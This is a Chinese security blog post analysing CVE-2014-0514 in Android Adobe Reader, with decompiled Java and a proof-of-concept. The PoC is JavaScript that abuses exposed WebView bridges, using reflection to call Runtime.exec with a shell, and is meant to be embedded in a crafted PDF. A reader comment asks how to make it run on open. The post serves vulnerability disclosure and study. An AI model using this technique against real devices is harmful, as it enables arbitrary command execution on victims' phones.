Android Adobe Reader 任意代码执行分析(附POC)

livers 2014-04-18 14:05:00

0x00 描述


前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞。

漏洞编号: CVE: 2014-0514

AdobeReader安装量比较大,又和浏览器容器不同,分析一下。

Android Adobe Reader 调用webview的不安全的Javascript interfaces。

导致可以执行任意js代码。具体查看WebView中接口隐患与手机挂马利用

影响版本:

理论上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

我查看了之前的几个版本例如Android Adobe Reader 11.1.2 如下图,问题也应该存在。

0x01利用


从反编译出来的java代码看

public class ARJavaScript
{
[...]

   public ARJavaScript(ARViewerActivity paramARViewerActivity)
   {
[...]
      this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
      this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
      this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
      this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
      this.mWebView.setWebViewClient(new ARJavaScript.1(this));
      this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
   }

_adobereader,_app,_doc,_escriptString,_event,_field这几个变量都会存在任意代码执行的问题.

利用代码和之前一样。

function execute(bridge, cmd) {
   return bridge.getClass().forName('java.lang.Runtime')
      .getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}

if(window._app) {
   try {
      var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
      execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
      window._app.alert(path + ' created', 3);
   } catch(e) {
      window._app.alert(e, 0);
   }
}

这里不同是构造 恶意的PDF。

首先需要一个PDF编辑器,比如Adobe Acrobat(flash达人pz推荐).

然后添加表单按钮或者书签等,调用事件添加

我这里看了下button最好演示,和老外的那个poc一样基本上.

导入到android虚拟机里,打开,成功复现。

0x02 扩展


一些网盘或浏览器,看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞,大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。

0x03 修复


新版本的Adobe Reader 11.2.0为4.2以上的用户使用了安全的js调用接口 @JavascriptInterface,老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :)

附上poc.pdf

评论

R

Ray777 2014-04-18 14:57:42

不错,重量级的例子

T

TMaMba 2014-04-18 15:19:47

nice

C

conqu3r 2014-04-19 21:10:17

试下

子不语 2014-04-22 10:26:58

感觉有很多利用的地方

路人甲 2014-04-25 14:10:10

这个poc.pdf需要点击按钮后才会执行javascript代码,有没有办法在打开poc.pdf的时候立即执行javascript代码啊?

路人甲 2014-04-30 15:13:42

我在安卓市场下载的Adobe Reader反编译后怎么没有看到ARJavaScript这个类啊?能把你的apk发给我一份吗?

L

livers

mov esp,0 jmp esp crash.....

twitter weibo github wechat

随机分类

软件安全 文章:17 篇
前端安全 文章:29 篇
逻辑漏洞 文章:15 篇
Python安全 文章:13 篇
安全开发 文章:83 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录